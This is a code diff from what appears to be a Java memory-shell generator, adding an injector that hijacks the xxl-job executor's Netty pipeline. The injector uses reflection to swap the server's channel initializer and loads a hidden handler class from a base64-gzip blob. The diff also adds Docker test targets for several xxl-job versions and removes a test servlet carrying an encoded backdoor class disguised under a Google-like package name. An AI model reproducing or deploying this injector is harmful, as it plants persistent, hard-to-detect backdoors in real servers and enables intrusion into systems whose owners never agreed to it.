import io.netty.handler.timeout.IdleStateHandler;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.concurrent.LinkedBlockingQueue;
|
||||
import java.util.concurrent.ThreadPoolExecutor;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel> {
|
||||
static {
|
||||
new XxlJobNettyHandlerInjector();
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public XxlJobNettyHandlerInjector() {
|
||||
try {
|
||||
handlerClass = getShellClass();
|
||||
inject();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private Class<?> handlerClass;
|
||||
|
||||
@Override
|
||||
protected void initChannel(SocketChannel channel) throws Exception {
|
||||
ChannelHandler channelHandler = (ChannelHandler) handlerClass.newInstance();
|
||||
channel.pipeline()
|
||||
.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))
|
||||
.addLast(new HttpServerCodec())
|
||||
.addLast(new HttpObjectAggregator(5 * 1024 * 1024))
|
||||
.addLast(channelHandler)
|
||||
.addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
|
||||
0,
|
||||
200,
|
||||
60L,
|
||||
TimeUnit.SECONDS,
|
||||
new LinkedBlockingQueue<>(2000),
|
||||
r -> new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode()),
|
||||
(r, executor) -> {
|
||||
throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
|
||||
})));
|
||||
}
|
||||
|
||||
private Class<?> getShellClass() throws Exception {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
return classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
return (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
}
|
||||
|
||||
public void inject() throws Exception {
|
||||
ThreadGroup group = Thread.currentThread().getThreadGroup();
|
||||
Field threads = group.getClass().getDeclaredField("threads");
|
||||
threads.setAccessible(true);
|
||||
Thread[] allThreads = (Thread[]) threads.get(group);
|
||||
for (Thread thread : allThreads) {
|
||||
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
|
||||
Object target;
|
||||
|
||||
try {
|
||||
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
|
||||
} catch (Exception e) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (target.getClass().getName().endsWith("NioEventLoop")) {
|
||||
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
|
||||
if (!set.isEmpty()) {
|
||||
Object keys = set.toArray()[0];
|
||||
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
|
||||
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
|
||||
setFieldValue(embedHttpServerHandler, "childHandler", this);
|
||||
System.out.println("xxl-job NettyHandler inject successful");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
try {
|
||||
gzipInputStream.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
public Field getField(final Class<?> clazz, final String fieldName) {
|
||||
Field field = null;
|
||||
try {
|
||||
field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
} catch (NoSuchFieldException ex) {
|
||||
if (clazz.getSuperclass() != null) {
|
||||
field = getField(clazz.getSuperclass(), fieldName);
|
||||
}
|
||||
}
|
||||
return field;
|
||||
}
|
||||
|
||||
public Object getFieldValue(final Object obj, final String fieldName) throws Exception {
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
package com.xxl.job.core.biz;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class ExecutorBiz {
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
package com.xxl.job.core.biz.impl;
|
||||
|
||||
import com.xxl.job.core.biz.ExecutorBiz;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class ExecutorBizImpl extends ExecutorBiz {
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
package com.xxl.job.core.server;
|
||||
|
||||
import com.xxl.job.core.biz.ExecutorBiz;
|
||||
import io.netty.channel.ChannelHandler;
|
||||
import io.netty.channel.ChannelHandlerContext;
|
||||
|
||||
import java.util.concurrent.ThreadPoolExecutor;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class EmbedServer {
|
||||
|
||||
public static class EmbedHttpServerHandler implements ChannelHandler {
|
||||
public EmbedHttpServerHandler(ExecutorBiz executorBiz, String prefix, ThreadPoolExecutor executor) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handlerAdded(ChannelHandlerContext ctx) throws Exception {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handlerRemoved(ChannelHandlerContext ctx) throws Exception {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
idea {
|
||||
module {
|
||||
excludeDirs += file('src')
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
FROM maven:3.9.9-eclipse-temurin-8 AS builder
|
||||
|
||||
RUN set -ex \
|
||||
&& cd /usr/src \
|
||||
&& git clone --depth 1 -b 2.0.2 https://github.com/xuxueli/xxl-job.git . \
|
||||
&& cd xxl-job-admin \
|
||||
&& sed -i 's/spring\.datasource\.password=.*/spring.datasource.password=root/g' src/main/resources/application.properties \
|
||||
&& sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \
|
||||
&& mvn clean package -DskipTests
|
||||
|
||||
FROM openjdk:8
|
||||
|
||||
RUN set -ex \
|
||||
&& apt-get update \
|
||||
&& apt-get install -y --no-install-recommends wait-for-it default-mysql-client \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY --from=builder /usr/src/xxl-job-admin/target/xxl-job-admin-2.0.2.jar /usr/src/xxl-job-admin-2.0.2.jar
|
||||
COPY docker-entrypoint.sh /docker-entrypoint.sh
|
||||
COPY --from=builder /usr/src/doc/db/tables_xxl_job.sql /usr/src/tables_xxl_job.sql
|
||||
|
||||
WORKDIR /usr/src
|
||||
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||
CMD ["java", "-jar", "/usr/src/xxl-job-admin-2.0.2.jar"]
|
||||
@@ -0,0 +1,9 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
wait-for-it -t 0 db:3306
|
||||
if [[ $(mysql -hdb -uroot -proot -e "SHOW DATABASES LIKE 'xxl_job';") == "" ]]; then
|
||||
mysql -hdb -uroot -proot < /usr/src/tables_xxl_job.sql
|
||||
fi
|
||||
|
||||
exec "$@"
|
||||
@@ -0,0 +1,23 @@
|
||||
FROM maven:3.9.9-eclipse-temurin-8 AS builder
|
||||
|
||||
RUN set -ex \
|
||||
&& cd /usr/src \
|
||||
&& git clone --depth 1 -b 2.0.2 https://github.com/xuxueli/xxl-job.git . \
|
||||
&& cd xxl-job-executor-samples/xxl-job-executor-sample-springboot \
|
||||
&& sed -i 's|xxl\.job\.admin\.addresses=.*|xxl.job.admin.addresses=http://admin:8080/xxl-job-admin|g' src/main/resources/application.properties \
|
||||
&& sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \
|
||||
&& mvn clean package -DskipTests
|
||||
|
||||
FROM openjdk:8
|
||||
|
||||
RUN set -ex \
|
||||
&& apt-get update \
|
||||
&& apt-get install -y --no-install-recommends wait-for-it \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY --from=builder /usr/src/xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.0.2.jar /usr/src/xxl-job-executor-sample-springboot-2.0.2.jar
|
||||
COPY docker-entrypoint.sh /docker-entrypoint.sh
|
||||
|
||||
WORKDIR /usr/src
|
||||
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||
CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-2.0.2.jar"]
|
||||
@@ -0,0 +1,7 @@
|
||||
#!/bin/bash
|
||||
|
||||
set -ex
|
||||
|
||||
wait-for-it -t 0 admin:8080
|
||||
|
||||
exec "$@"
|
||||
@@ -0,0 +1,24 @@
|
||||
FROM maven:3.9.9-eclipse-temurin-8 AS builder
|
||||
|
||||
RUN set -ex \
|
||||
&& cd /usr/src \
|
||||
&& git clone --depth 1 -b v2.2.0 https://github.com/xuxueli/xxl-job.git . \
|
||||
&& cd xxl-job-admin \
|
||||
&& sed -i 's/spring\.datasource\.password=.*/spring.datasource.password=root/g' src/main/resources/application.properties \
|
||||
&& sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \
|
||||
&& mvn clean package -DskipTests
|
||||
|
||||
FROM openjdk:8
|
||||
|
||||
RUN set -ex \
|
||||
&& apt-get update \
|
||||
&& apt-get install -y --no-install-recommends wait-for-it default-mysql-client \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY --from=builder /usr/src/xxl-job-admin/target/xxl-job-admin-2.2.0.jar /usr/src/xxl-job-admin-2.2.0.jar
|
||||
COPY docker-entrypoint.sh /docker-entrypoint.sh
|
||||
COPY --from=builder /usr/src/doc/db/tables_xxl_job.sql /usr/src/tables_xxl_job.sql
|
||||
|
||||
WORKDIR /usr/src
|
||||
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||
CMD ["java", "-jar", "/usr/src/xxl-job-admin-2.2.0.jar"]
|
||||
@@ -0,0 +1,9 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
wait-for-it -t 0 db:3306
|
||||
if [[ $(mysql -hdb -uroot -proot -e "SHOW DATABASES LIKE 'xxl_job';") == "" ]]; then
|
||||
mysql -hdb -uroot -proot < /usr/src/tables_xxl_job.sql
|
||||
fi
|
||||
|
||||
exec "$@"
|
||||
@@ -0,0 +1,23 @@
|
||||
FROM maven:3.9.9-eclipse-temurin-8 AS builder
|
||||
|
||||
RUN set -ex \
|
||||
&& cd /usr/src \
|
||||
&& git clone --depth 1 -b v2.2.0 https://github.com/xuxueli/xxl-job.git . \
|
||||
&& cd xxl-job-executor-samples/xxl-job-executor-sample-springboot \
|
||||
&& sed -i 's|xxl\.job\.admin\.addresses=.*|xxl.job.admin.addresses=http://admin:8080/xxl-job-admin|g' src/main/resources/application.properties \
|
||||
&& sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \
|
||||
&& mvn clean package -DskipTests
|
||||
|
||||
FROM openjdk:8
|
||||
|
||||
RUN set -ex \
|
||||
&& apt-get update \
|
||||
&& apt-get install -y --no-install-recommends wait-for-it \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY --from=builder /usr/src/xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.2.0.jar /usr/src/xxl-job-executor-sample-springboot-2.2.0.jar
|
||||
COPY docker-entrypoint.sh /docker-entrypoint.sh
|
||||
|
||||
WORKDIR /usr/src
|
||||
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||
CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-2.2.0.jar"]
|
||||
@@ -0,0 +1,7 @@
|
||||
#!/bin/bash
|
||||
|
||||
set -ex
|
||||
|
||||
wait-for-it -t 0 admin:8080
|
||||
|
||||
exec "$@"
|
||||
@@ -0,0 +1,25 @@
|
||||
FROM maven:3.9.9-eclipse-temurin-8 AS builder
|
||||
|
||||
WORKDIR /usr/src
|
||||
|
||||
RUN set -ex \
|
||||
&& git clone --depth 1 -b 2.3.0 https://github.com/xuxueli/xxl-job.git . \
|
||||
&& cd xxl-job-admin \
|
||||
&& sed -i 's/spring\.datasource\.password=.*/spring.datasource.password=root/g' src/main/resources/application.properties \
|
||||
&& sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \
|
||||
&& mvn clean package -DskipTests
|
||||
|
||||
FROM openjdk:8
|
||||
|
||||
RUN set -ex \
|
||||
&& apt update \
|
||||
&& apt install -y --no-install-recommends wait-for-it default-mysql-client \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY --from=builder /usr/src/xxl-job-admin/target/xxl-job-admin-2.3.0.jar /usr/src/xxl-job-admin-2.3.0.jar
|
||||
COPY docker-entrypoint.sh /docker-entrypoint.sh
|
||||
COPY --from=builder /usr/src/doc/db/tables_xxl_job.sql /usr/src/tables_xxl_job.sql
|
||||
|
||||
WORKDIR /usr/src
|
||||
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||
CMD ["java", "-jar", "/usr/src/xxl-job-admin-2.3.0.jar"]
|
||||
@@ -0,0 +1,9 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
wait-for-it -t 0 db:3306
|
||||
if [[ $(mysql -hdb -uroot -proot -e "SHOW DATABASES LIKE 'xxl_job';") == "" ]]; then
|
||||
mysql -hdb -uroot -proot < /usr/src/tables_xxl_job.sql
|
||||
fi
|
||||
|
||||
exec "$@"
|
||||
@@ -0,0 +1,25 @@
|
||||
FROM maven:3.9.9-eclipse-temurin-8 AS builder
|
||||
|
||||
WORKDIR /usr/src
|
||||
|
||||
RUN set -ex \
|
||||
&& git clone --depth 1 -b 2.3.0 https://github.com/xuxueli/xxl-job.git . \
|
||||
&& ls \
|
||||
&& cd xxl-job-executor-samples/xxl-job-executor-sample-springboot \
|
||||
&& sed -i 's|xxl\.job\.admin\.addresses=.*|xxl.job.admin.addresses=http://admin:8080/xxl-job-admin|g' src/main/resources/application.properties \
|
||||
&& sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \
|
||||
&& mvn clean package -DskipTests
|
||||
|
||||
FROM openjdk:8
|
||||
|
||||
RUN set -ex \
|
||||
&& apt-get update \
|
||||
&& apt-get install -y --no-install-recommends wait-for-it \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY --from=builder /usr/src/xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.3.0.jar /usr/src/xxl-job-executor-sample-springboot-2.3.0.jar
|
||||
COPY docker-entrypoint.sh /docker-entrypoint.sh
|
||||
|
||||
WORKDIR /usr/src
|
||||
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||
CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-2.3.0.jar"]
|
||||
@@ -0,0 +1,7 @@
|
||||
#!/bin/bash
|
||||
|
||||
set -ex
|
||||
|
||||
wait-for-it -t 0 admin:8080
|
||||
|
||||
exec "$@"
|
||||
@@ -0,0 +1,25 @@
|
||||
FROM maven:3.9.9-eclipse-temurin-17 AS builder
|
||||
|
||||
WORKDIR /usr/src
|
||||
|
||||
RUN set -ex \
|
||||
&& git clone --depth 1 -b 2.5.0 https://github.com/xuxueli/xxl-job.git . \
|
||||
&& cd xxl-job-admin \
|
||||
&& sed -i 's/spring\.datasource\.password=.*/spring.datasource.password=root/g' src/main/resources/application.properties \
|
||||
&& sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \
|
||||
&& mvn clean package -DskipTests
|
||||
|
||||
FROM openjdk:17-jdk-bullseye
|
||||
|
||||
RUN set -ex \
|
||||
&& apt update \
|
||||
&& apt install -y --no-install-recommends wait-for-it default-mysql-client \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY --from=builder /usr/src/xxl-job-admin/target/xxl-job-admin-2.5.0.jar /usr/src/xxl-job-admin-2.5.0.jar
|
||||
COPY docker-entrypoint.sh /docker-entrypoint.sh
|
||||
COPY --from=builder /usr/src/doc/db/tables_xxl_job.sql /usr/src/tables_xxl_job.sql
|
||||
|
||||
WORKDIR /usr/src
|
||||
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||
CMD ["java", "-jar", "/usr/src/xxl-job-admin-2.5.0.jar"]
|
||||
@@ -0,0 +1,9 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
wait-for-it -t 0 db:3306
|
||||
if [[ $(mysql -hdb -uroot -proot -e "SHOW DATABASES LIKE 'xxl_job';") == "" ]]; then
|
||||
mysql -hdb -uroot -proot < /usr/src/tables_xxl_job.sql
|
||||
fi
|
||||
|
||||
exec "$@"
|
||||
@@ -0,0 +1,25 @@
|
||||
FROM maven:3.9.9-eclipse-temurin-17 AS builder
|
||||
|
||||
WORKDIR /usr/src
|
||||
|
||||
RUN set -ex \
|
||||
&& git clone --depth 1 -b 2.5.0 https://github.com/xuxueli/xxl-job.git . \
|
||||
&& ls \
|
||||
&& cd xxl-job-executor-samples/xxl-job-executor-sample-springboot \
|
||||
&& sed -i 's|xxl\.job\.admin\.addresses=.*|xxl.job.admin.addresses=http://admin:8080/xxl-job-admin|g' src/main/resources/application.properties \
|
||||
&& sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \
|
||||
&& mvn clean package -DskipTests
|
||||
|
||||
FROM openjdk:17-jdk-bullseye
|
||||
|
||||
RUN set -ex \
|
||||
&& apt-get update \
|
||||
&& apt-get install -y --no-install-recommends wait-for-it \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY --from=builder /usr/src/xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.5.0.jar /usr/src/xxl-job-executor-sample-springboot-2.5.0.jar
|
||||
COPY docker-entrypoint.sh /docker-entrypoint.sh
|
||||
|
||||
WORKDIR /usr/src
|
||||
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||
CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-2.5.0.jar"]
|
||||
@@ -0,0 +1,7 @@
|
||||
#!/bin/bash
|
||||
|
||||
set -ex
|
||||
|
||||
wait-for-it -t 0 admin:8080
|
||||
|
||||
exec "$@"
|
||||
@@ -0,0 +1,23 @@
|
||||
import javax.servlet.*;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/3
|
||||
*/
|
||||
public class EmptyFilter implements Filter {
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
chain.doFilter(request, response);
|
||||
}
|
||||
}
|
||||
@@ -2,15 +2,8 @@ import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServlet;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.BufferedReader;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -18,271 +11,15 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class TestServlet extends HttpServlet {
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
try {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (Exception var3) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
for (Class<?> clazz = obj.getClass(); clazz != null; clazz = clazz.getSuperclass()) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException var3) {
|
||||
}
|
||||
}
|
||||
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
try {
|
||||
Class<?> decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception var4) {
|
||||
Class<?> decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream gzipInputStream = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class<?> tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (Method value : methods) {
|
||||
if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) {
|
||||
method = value;
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "com.google.gso.sLUOL.ErrorHandler";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "H4sIAAAAAAAA/6VWa1McRRQ9vSz0skweQEhC1CRoEmCBTMSEIIvEhASDLpsYBI3R6LB0NoO7O+vMLHkZ3+/3Mz6rLD9Y+WqqFJ+lftIq/4iW/0Hx9OyysARIqtyq6dnpvn3vOadv3+4//v3hZwDd+CyKEKokwgaqUSOwdsqatsyMlUubRyamVMoXqOm3c7Y/IFDV1j4eQURg1YULecu1skkrqy5erEUUdRKGgVVYLdCfcrKmq6wpy3NypnZ3Rk2YWZX1VCZjTk04nmd5Jo2yVm7SHCy+E7bnq5xyBWrLngUaEvNoRn3XzqXjUaxFvUSDgUasE2jRBmdNT7nTGeWbo8X3MfV4QXn+oWmVI/76tPIrBwS2trUnVpoal1gvsL3S5LTv583DbCpt69CEjQaasUnAYKyjmoDyNZkdbVczaF+KVBQ3GrgJmwXWp7VjL+/kPDXkOtky5HvbEtcFJ76Y2dV2Re8MuxUtEjcbuAXbqNM8rmOFnG/rFYhqNHMfTW0LsZe6Ay87DLSiTSCszqqUQOs1aB91nZTyPE6NoUOi00AXdlYAKFkIrCaA4Vy+4NONsrICG+ZA2I65YCBeh124VaLbwG3YTeWvTwOBNQxwpOAviLB9udxYaEbsPdgr0WvgdvQJNC6BiXrwNSlQ3XbiQPtwFP24Q2LAwD7cuVzqVkKpPuPaPkFKOhgebh+XODAXKpDp0NmUyvu2k4vgIK3cYgbodBoycBcOc6uS3pCtMpPjVqZAT70Ll6a4w+MrL1bJKIK7BSJuSTddNRIGRpBkJ0MMZiy9Wo0VGRJ0UqijuFfimIFR3Ee9F42z5HD+QZXKWK6aDKAKdF0jgVx1KkNQZmDOvTousHl+NOmMFlKng7GyQBrFAwaOa8Bak9FCXrkpDSCKMZzQ1e8hneFLxB2P4iQekXjUgIUJZuAyOOjYU/7+lE5ceyJDscNtDxZnTxpQOMUKysiLqkJJ3iUUlzgtsG2lKjVfNcODzqRO5oSdU8lCdkK591kBhIaEk7Iy45Zr6+9SZ9g/bVP4gcT/KdVxrlwp4Q7ycZ1zarLMbcWSTEkphecSyS3XYU0SpTjDPIdsK2Of15HWeIu38rULZKnwMVGXqEYCdfbCzdu0ZJ1hjXcq9ugyFCqKBelOFLj+oRPcvzUZlUv7XFsxzP5UllwavaUOrtbrLPhMvFHfSj02YuWDBZZ4ruIgLyayxAWGVGVelQWETqLlD+ZGeNpy9/CcTKy8rTQzZ2Kq8qgu5S+d5IJjvPpUcXs0L7uDacO9eP48z4Cr6gePxMocPpefy+N1i437YwOayKhTcFNqyA5sFqXtTj2F1Venftpx0hllpj3H9BJjRxLmIdd13MO0zihX4oMInqzFJdTpRb6mPQvdJdyomyG0sA1BIM1H6GsR71rV/McrFlubXxuCcaAu9i1ErOHDb/DRFeifQA5OyWgPn5DuuxL8mWJbE8zagMfYri8OIoOPS1PzeDyI6M65EMcR5mkAnOyYwZpf0TTSGfsaH32PDSEku37DoVjnDD7pC3+HLV0z2N5X3Vw9g/a+mubw9zAF+mT9VvwU6Ys01zRHZrDneE9t6HOsbZbNkaqm2hnEL8/+dRnh5BVGi7C4PoT9qMIzjHc7wrMYQK3EJYm1Ek0Sz0rskohJ9Ej0SzwPzGKTvnuWLIADkvMDmj0UDbiBTm/iRW8zCW9hu5W3jBbsxM3YyyvLALYjgR0MG2PgdjyMjkCWUyS8GXF48Em+lZfcVhQo/U6OT+MMJdxLD2dxDjyMGeM8LjDOYdTjCVxELeMN4UkuWZWWrSzuSTwViBvBOA7iaUof0hc2tnqlvuA7zHeLGOloGPwOnzYMs/kVu0YuY3Wyo/zV+RVdhBhqXVkpruIsP4s6UKZdEJQhG